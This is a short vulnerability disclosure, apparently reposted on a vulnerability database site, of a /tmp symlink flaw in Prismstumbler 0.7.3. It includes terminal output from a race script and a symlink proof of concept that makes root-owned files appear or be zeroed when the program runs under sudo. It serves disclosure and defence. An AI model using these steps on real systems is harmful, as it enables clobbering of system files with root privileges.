`I found a symlink vuln in this older program.
Prismstumbler 0.7.3 is most often ran as root to utilize all of capabilities.
Prismstumbler (pst) creates /tmp/.psintercom and /tmp/spotkoord.txt as default. Can be changed within preferences.
srw-rw-rw- 1 root root 0 2009-04-02 00:44 .psintercom
-rw-r--r-- 1 root root 0 2009-04-02 00:44 spotkoord.txt
The /tmp/spotkoord.txt file follows symlinks and zeros out linked file. While /tmp/.psintercom actually checks to see if it is there or not.
#
guy@Tengu:~/Tools$ sh tmp-racer.sh /tmp/spotkoord.txt sudo pst
Attempting to crack sudo...
[sudo] password for root:
Expected pid: 31425
Actual pid: 31425
Exit status: 0
Files /tmp/dir.31416/target and /tmp/dir.31416/original differ
I cracked sudo
#
Creation of root owned files. Or clobbering of root owned files.
guy@Tengu:/tmp$ ls -la rootfile
ls: cannot access rootfile: No such file or directory
guy@Tengu:/tmp$ ln -s rootfile spotkoord.txt
guy@Tengu:/tmp$ sudo pst
Can't connect to localhost.2947: Connection refused
eth1: ERROR while getting interface flags: No such device
Can't open pcap device: Operation not supportedCan't open pcap device: Operation not supportedguy@Tengu:/tmp$
guy@Tengu:/tmp$ ls -la rootfile
-rw-r--r-- 1 root root 0 2009-04-02 01:45 rootfile
guy@Tengu:/tmp$
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation